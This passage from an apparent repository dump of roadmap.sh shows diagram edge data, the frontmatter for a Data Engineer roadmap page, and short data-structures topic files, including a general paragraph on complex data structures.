\"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVEly2-wwPO5Uc6qnwYgibrbPn7yz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GN1Xh3kA25ge-wTbdiSio\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"oqxNr0Lj34mgRi5Z5wJt_\",\n      \"targetHandle\": \"z2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVEly2-oqxNr0Lj34mgRi5Z5wJt_z2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GN1Xh3kA25ge-wTbdiSio\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"fqTPu70MJyXBmqYUgCJ_r\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__GN1Xh3kA25ge-wTbdiSiox2-fqTPu70MJyXBmqYUgCJ_rw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"uZYQ8tqTriXt_JIOjcM9_\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"W6RnhoD7fW2xzVwnyJEDr\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"id\": \"xy-edge__uZYQ8tqTriXt_JIOjcM9_z2-W6RnhoD7fW2xzVwnyJEDry1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lDeSL9qvgQgyAMcWXF7Fr\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Eb27y_lyYTsfxK5heaMDJ\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__lDeSL9qvgQgyAMcWXF7Frx2-Eb27y_lyYTsfxK5heaMDJw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"03BHmPhYkZrJwRvQdmxxr\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"qHMtJFYcGmESiz_VwRwiI\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVElz2-qHMtJFYcGmESiz_VwRwiIy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"03BHmPhYkZrJwRvQdmxxr\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"eTHitN2erd6z8-MZiXE9s\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__03BHmPhYkZrJwRvQdmxxrx2-jzsScqhz8Z0DLlk2gjVElw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"eTHitN2erd6z8-MZiXE9s\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"8qEgXYZEbDWC73SQSflDY\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVEly2-8qEgXYZEbDWC73SQSflDYz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"eTHitN2erd6z8-MZiXE9s\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"eVqcYI2Sy2Dldl3SfxB2C\",\n      \"targetHandle\": \"z2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVEly2-i54fx-NV6nWzQVCdi0aKLz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"eTHitN2erd6z8-MZiXE9s\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"kcgDW6AFW7WXzXMTPE6J-\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVEly2-kcgDW6AFW7WXzXMTPE6J-z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"eTHitN2erd6z8-MZiXE9s\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"k2SJ4ELGa4B2ZERDAk1uj\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__eTHitN2erd6z8-MZiXE9sx2-jzsScqhz8Z0DLlk2gjVElw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"k2SJ4ELGa4B2ZERDAk1uj\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"N8vpCfSdZCADwO_qceWBK\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVElz2-N8vpCfSdZCADwO_qceWBKy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"k2SJ4ELGa4B2ZERDAk1uj\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"IYIO4S3DO5xkLD__XT5Dp\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVElz2-8dXD4ddR_USEbAJhUMcB6y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dk5FQl7Pk3-O5eF7dKwmp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"i54fx-NV6nWzQVCdi0aKL\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVEly2-i54fx-NV6nWzQVCdi0aKLz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dk5FQl7Pk3-O5eF7dKwmp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"r1KmASWAa_MOqQOC9gvvF\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVEly2-yyJJGinOv3M21MFuqJs0jz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dk5FQl7Pk3-O5eF7dKwmp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"3QsgoKKxAoyj2LWJ8ad-7\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVEly2-3QsgoKKxAoyj2LWJ8ad-7z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dk5FQl7Pk3-O5eF7dKwmp\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"DZoxLu-j1vq5leoXLRZqt\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__dk5FQl7Pk3-O5eF7dKwmpx2-jzsScqhz8Z0DLlk2gjVElw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DZoxLu-j1vq5leoXLRZqt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"8dXD4ddR_USEbAJhUMcB6\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVElz2-8dXD4ddR_USEbAJhUMcB6y2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DZoxLu-j1vq5leoXLRZqt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NIG53tyoEiLtwf6LvBZId\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVElz2-NIG53tyoEiLtwf6LvBZIdy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DZoxLu-j1vq5leoXLRZqt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"mC9sWeC_wYHeJJHJAvxpI\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVElz2-mC9sWeC_wYHeJJHJAvxpIy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DZoxLu-j1vq5leoXLRZqt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"E4ND5XaMDGDLtlV7wTzi6\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVElz2-E4ND5XaMDGDLtlV7wTzi6y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DZoxLu-j1vq5leoXLRZqt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"5qe0q_llTzzNVudbONMYo\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVElz2-5qe0q_llTzzNVudbONMYoy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DZoxLu-j1vq5leoXLRZqt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"qoMRpAITA7R_KOrwGDPAb\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVElz2-qoMRpAITA7R_KOrwGDPAby1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DZoxLu-j1vq5leoXLRZqt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"woa5K4Dt9L6aBzlJMNS31\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVElz2-WUfJCLTajyLNK19gAAvoWy2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DZoxLu-j1vq5leoXLRZqt\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"dAvizeYvv92KMeAvSDmey\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__DZoxLu-j1vq5leoXLRZqtx2-jzsScqhz8Z0DLlk2gjVElw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dAvizeYvv92KMeAvSDmey\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"1qju7UlcMo2Ebp4a3BGxH\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVEly2-1qju7UlcMo2Ebp4a3BGxHz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dAvizeYvv92KMeAvSDmey\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"VefHaP7rIOcZVFzglyn66\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVEly2-VefHaP7rIOcZVFzglyn66z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dAvizeYvv92KMeAvSDmey\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"IZvL-1Xi0R9IuwJ30FDm4\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVEly2-IZvL-1Xi0R9IuwJ30FDm4z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dAvizeYvv92KMeAvSDmey\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"yyJJGinOv3M21MFuqJs0j\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVEly2-yyJJGinOv3M21MFuqJs0jz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dc3lJI27hJ3zZ45UCVqM1\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"kyzJSTdysN2GHThy2JTxb\",\n      \"targetHandle\": \"x1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__dc3lJI27hJ3zZ45UCVqM1w2-kyzJSTdysN2GHThy2JTxbx1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"uZYQ8tqTriXt_JIOjcM9_\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"kyzJSTdysN2GHThy2JTxb\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__uZYQ8tqTriXt_JIOjcM9_x2-kyzJSTdysN2GHThy2JTxbw2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dAvizeYvv92KMeAvSDmey\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jgz7L8OSuqRNcf9buuMTj\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__dAvizeYvv92KMeAvSDmeyx2-jzsScqhz8Z0DLlk2gjVElw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jgz7L8OSuqRNcf9buuMTj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"wboTVTh9nCTIqXUYEOrkp\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVElx2-svOVvDERe3mmmA2qLjui3w1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wboTVTh9nCTIqXUYEOrkp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"V30v5RLQrWSMBUIsZQG1o\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__svOVvDERe3mmmA2qLjui3y2-jzsScqhz8Z0DLlk2gjVElz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JpuiYsipNWBcrjmn2ji6b\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"LMFREK9dH_7qzx_s2xCjI\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__tdqhFFvQ2dQVeQh1qTHjVx2-LMFREK9dH_7qzx_s2xCjIw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"BCaFByttoQgLAQd7xGNN-\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"JpuiYsipNWBcrjmn2ji6b\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__BCaFByttoQgLAQd7xGNN-x2-tdqhFFvQ2dQVeQh1qTHjVw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JpuiYsipNWBcrjmn2ji6b\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"j9mee1x94yu-qki7aLj21\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__tdqhFFvQ2dQVeQh1qTHjVz2-5jo-0U6f4iBagd1Lo4NAwy1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"j9mee1x94yu-qki7aLj21\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"rUiYUV4ps6NYYYRwUnjuM\",\n      \"targetHandle\": \"x1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__5jo-0U6f4iBagd1Lo4NAww2-tdqhFFvQ2dQVeQh1qTHjVx1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"j9mee1x94yu-qki7aLj21\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"IzILGY4xmKhs9gW90Hz2Z\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__j9mee1x94yu-qki7aLj21x2-5jo-0U6f4iBagd1Lo4NAww1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IzILGY4xmKhs9gW90Hz2Z\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"5jo-0U6f4iBagd1Lo4NAw\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__IzILGY4xmKhs9gW90Hz2Zx2-5jo-0U6f4iBagd1Lo4NAww1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5jo-0U6f4iBagd1Lo4NAw\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"S8XMtFKWlnUqADElFp0Zw\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__5jo-0U6f4iBagd1Lo4NAwx2-S8XMtFKWlnUqADElFp0Zww1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VQv-c7buU2l-IDzRZBMRo\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"O5dely89N5UCMBeUfh8ud\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__VQv-c7buU2l-IDzRZBMRox2-O5dely89N5UCMBeUfh8udw1\",\n      \"selected\": true,\n      \"focusable\": true\n    }\n  ]\n}\n"
  },
  {
    "path": "src/data/roadmaps/data-engineer/data-engineer.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/data-engineer.json'\npdfUrl: '/pdfs/roadmaps/data-engineer.pdf'\norder: 4.6\nrenderer: \"editor\"\nbriefTitle: 'Data Engineer'\nbriefDescription: 'Step by step guide to becoming a Data Engineer in 2025'\ntitle: 'Data Engineer Roadmap'\ndescription: 'Step by step guide to becoming a Data Engineer in 2025'\nhasTopics: true\nisNew: true\ndimensions:\n  width: 968\n  height: 4710\ncourses:\n  - title: 'Complete Course to Master SQL'\n    description: 'Learn SQL from scratch with this comprehensive course'\n    link: 'https://roadmap.sh/courses/sql'\n    features:\n      - '55+ Lessons'\n      - 'AI Tutor'\n      - 'Coding Environment'\n      - 'Quizzes'\n      - 'Certification'\n    instructor:\n      name: 'Kamran Ahmed'\n      image: 'https://github.com/kamranahmedse.png'\n      title: 'Founder - roadmap.sh'\nschema:\n  headline: 'Data Engineer Roadmap'\n  description: 'Learn how to become a Data Engineer with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/data-engineer.png'\n  datePublished: '2025-08-13'\n  dateModified: '2025-08-13'\nseo:\n  title: 'Data Engineer Roadmap'\n  description: 'Learn to become a Data Engineer using this roadmap. Community driven, articles, resources, guides, interview questions, quizzes for modern data engineers.'\n  keywords:\n    - 'data engineer roadmap 2025'\n    - 'data engineering roadmap 2025'\n    - 'guide to becoming a data engineer'\n    - 'easy data engineer roadmap'\n    - 'data engineer'\n    - 'data engineer roadmap'\n    - 'data scientist roadmap'\n    - 'data engineering skills'\n    - 'data engineer skills'\n    - 'skills for data engineer'\n    - 'data engineer quiz'\n    - 'data engineer interview questions'\nrelatedRoadmaps:\n  - 'sql'\n  - 'ai-data-scientist'\n  - 'postgresql-dba'\n  - 'python'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/data-engineer/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/2-3-trees@o0fNAhJ1LsCdmGzY2ni_x.md",
    "content": "# Complex Data Structures\n\nComplex data structures are advanced structures that are used for storing and organizing data in a more specialized way to manage larger amounts of data more effectively. These include Trees, Graphs, Hash Tables, and Heaps. Trees allow for hierarchical data structures and can be utilized in many ways like Binary Trees, AVL Trees etc. Graphs are networks consisting of nodes or vertices, connected by edges. Hash Tables use a hash function to compute an index into an array of buckets or slots, from which the desired value can be found. Heaps are a special case of a binary tree where the parent nodes are compared to their children with specific rules."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/a-algorithm@AabJqPUwFVBVS02YPDPvL.md",
    "content": "# A* Algorithm"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/advanced-data-structures@KnyUHDvpDTUO0EkAs9pT8.md",
